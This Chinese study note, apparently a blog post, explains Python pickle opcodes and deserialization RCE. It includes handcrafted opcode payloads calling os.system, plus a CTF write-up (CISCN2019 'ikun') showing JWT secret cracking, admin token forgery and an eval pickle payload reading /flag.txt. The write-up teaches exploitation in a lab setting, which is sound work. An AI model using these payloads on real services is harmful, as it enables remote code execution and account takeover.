pickle 是一种栈语言,有不同的编写方式,基于一个轻量的 PVM(Pickle Virtual Machine)
PVM
大概由三个部分组成,第一部分是指令分析器,也就是引擎;第二部分是栈区,主要用于暂存数据流;第三部分是 ,也就是标签区,作为数据的一个标记吧
常用的接口:
pickle.dump(obj,file,protocol=None,*,fix_imports=True)
# 这里的file需要以wb打开(二进制可写模式)
将打包好的对象 obj 写入文件 中,其中 protocol 为 pickling 的协议版本(下同)。
pickle.dumps(obj, protocol=None, *, fix_imports=True)
# 这里的file需要以rb打开(二进制可读模式)
将 obj 打包以后的对象作为 bytes 类型直接返回
pickle.load(file,*, fix_imports=True,encoding="ASCII", errors="strict")
从 文件 中读取二进制字节流,将其反序列化为一个对象并返回。
pickle.loads(data, *, fix_imports=True, encoding="ASCII", errors="strict")
从 data 中读取二进制字节流,将其反序列化为一个对象并返回。
object.__reduce__()
__reduce__()
其实是 object
类中的一个魔术方法,我们可以通过重写类的 object.__reduce__()
函数,使之在被实例化时按照重写的方式进行。
Python 要求该方法返回一个 字符串或者元组 。如果返回元组(callable, ([para1,para2...])[,...])
,那么每当该类的对象被反序列化时,该 callable 就会被调用,参数为para1
、para2
... 后面再详细解释
demo
RCE
c<module>
<callable>
(<args>
tR
cos
system #引入 os 模块的 system 方法,这里实际上是一步将函数添加到 stack 的操作
(S'ls' # 把当前 stack 存到 metastack,清空 stack,再将 'ls' 压入 stack
tR. # t 也就是将 stack 中的值弹出并转为 tuple,把 metastack 还原到 stack,再将 tuple 压入 stack
# R 的内容就成为了 system(*('ls',)) ,然后 . 代表结束,返回当前栈顶元素
<=> __import__('os').system(*('ls',))
import pickle
import pickletools
# 弹计算机 pickle反序列化简单的RCE
opcode = b'''cos
system
(S'calc'
tR.
'''
pickle.loads(opcode)
t 是将stack中的值弹出并转为tuple,把metastack还原到到stack,再将tuple压入stack
R
选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数
函数和参数出栈,函数的返回值入栈
def load_reduce(self):
stack = self.stack
args = stack.pop() #弹栈作为一个参数,参数必须是元组
func = stack[-1]# 栈中的最后一个元素作为函数的参数
stack[-1] = func(*args)#将原来的栈区中的函数元素覆盖成函数执行结果
dispatch[REDUCE[0]] = load_reduce
### 例子
# c ==> import os os.system()
# ( ==> push new specail object on stack
# S ==> push string on stack # meet '/n' ending up
# t ==> build tuple from topmost stack items
# R ==> apply callable to argtuple,both on stack
my_opcode = b'''cos
system
(S'calc'
tR.'''
#pickletools.dis ==>
0: c GLOBAL 'os system'
11: ( MARK
12: S STRING 'calc'
20: t TUPLE (MARK at 11)
21: R REDUCE
22: . STOP
highest protocol among opcodes = 0
O
寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象)
这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈
def load_obj(self):
# Stack is ... markobject classobject arg1 arg2 ...
args = self.pop_mark() #当前栈中所有的数据赋值给args
cls = args.pop(0) #弹出第一个,作为类名 利用是为函数名
self._instantiate(cls, args)
dispatch[OBJ[0]] = load_obj
### 例子
# Third o
# ( ==> push 'new' special object on stack (MARK)
# c ==> import os os.system
# S ==> push string on stack
# o ==> build & push class instance push first MARK(os.system) to global function,second MARK to arg
my_opcode3=b'''(cos
system
S'whoami'
o.'''
#pickletools.dis ==>
0: ( MARK
1: c GLOBAL 'os system'
12: S STRING 'calc'
20: o OBJ (MARK at 0)
21: . STOP
highest protocol among opcodes = 1
i
相当于c和o的组合先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象)
这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈
def load_inst(self):
module = self.readline()[:-1].decode("ascii")#获得module
name = self.readline()[:-1].decode("ascii")#获得参数,name
klass = self.find_class(module, name)#放到find_class寻找调用
self._instantiate(klass, self.pop_mark())#pop_mark 获取参数
dispatch[INST[0]] = load_inst
def pop_mark(self):
items = self.stack
self.stack = self.metastack.pop()
self.append = self.stack.append
return items#先将当前栈赋值给items 然后弹出栈内元素 随后 将这个栈赋值给当前栈 返回items
### 例子
# Second i
# ( ==> push 'new' special object on stack
# S ==> push string on stack
# i ==> build & push class instance push MARK(calc) to argtuple i==o and c
# . ==> stop it
my_opcode2 =b'''(S'calc'
ios
system
.'''
## pickletools.dis ==>
0: ( MARK
1: S STRING 'calc'
9: i INST 'os system' (MARK at 0)
20: . STOP
highest protocol among opcodes = 0
b+__setstate__()
使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置
栈上第一个元素出栈
def load_build(self):
stack = self.stack
state = stack.pop()
# 获取栈的倒数第二个元素赋值给inst
inst = stack[-1]
# 获取inst对象的__setstate__属性
setstate = getattr(inst, "__setstate__", None)
if setstate is not None:
setstate(state)
return
slotstate = None
# 如果state是元组类型并且长度为2,将其分解为state和slotstate
if isinstance(state, tuple) and len(state) == 2:
state, slotstate = state
##如果"__setstate__"为空,则state与对象默认的__dict__合并,这一步其实就是将序列化前保存的持久化属性和对象属性字典合并
if state:
inst_dict = inst.__dict__
intern = sys.intern
# 遍历state字典,将键名intern后赋值给inst_dict,键值直接赋值
for k, v in state.items():
if type(k) is str:
inst_dict[intern(k)] = v
else:
inst_dict[k] = v
# 如果slotstate不为空,遍历slotstate字典,并将其键值对赋值给inst对象
if slotstate:
for k, v in slotstate.items():
setattr(inst, k, v)
dispatch[BUILD[0]] = load_build
[CISCN2019 华北赛区 Day1 Web2]ikun
这网站不仅可以以薅羊毛,我还留了个后门,就藏在lv6里
首先我们用一个脚本找到lv6在哪里
import requests
url = "http://55905d46-9afa-4d5c-9bb8-028ae759f188.node4.buuoj.cn:81/shop?page="
for i in range(0,500):
url1 = url + str(i)
re = requests.get(url=url1)
print(i)
if "lv6.png" in re.text:
print(i)
break
# 第181
然后我们可以通过抓包分析到,这里有一个逻辑漏洞,可以更改其折扣,买lv6
这里可以用c-jwt-cracker进行密钥爆破
docker run miniers/jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im9vcCJ9.6k5XAWpdsddTe_F9MV2JKsbbM7DBXcU9UTbeeoK0SHE
Secret is "1Kun"
然后用jwt.io进行jwt伪造,成功伪造admin身份,读/b1g_m4mber发现有下面这个路由下载源码
/static/asd1f654e683wq/www.zip
import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib
class AdminHandler(BaseHandler):
@tornado.web.authenticated
def get(self, *args, **kwargs):
if self.current_user == "admin":
return self.render('form.html', res='This is Black Technology!', member=0)
else:
return self.render('no_ass.html')
@tornado.web.authenticated
def post(self, *args, **kwargs):
try:
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become)) # 反序列化入口 unquote 进行一次urldecode
return self.render('form.html', res=p, member=1)
except:
return self.render('form.html', res='This is Black Technology!', member=0)
发现这里有pickle.loads函数,可以进行反序列化,利用__reduce__**()**从而触发恶意代码
import pickle
import urllib
class test(object):
def __reduce__(self):
return (eval, ("open('/flag.txt', 'r').read()",))
a = test()
s = pickle.dumps(a)
print(urllib.quote(s))
## 用python2运行
c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%20%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.
flag{af7058f7-8625-4b88-a029-4ded23a77015}
先停一段是时间pickle反序列化的学习,后续在来补,要去做一些其他的事情
文章所参考的链接:
https://tttang.com/archive/1885/
https://forum.butian.net/share/1929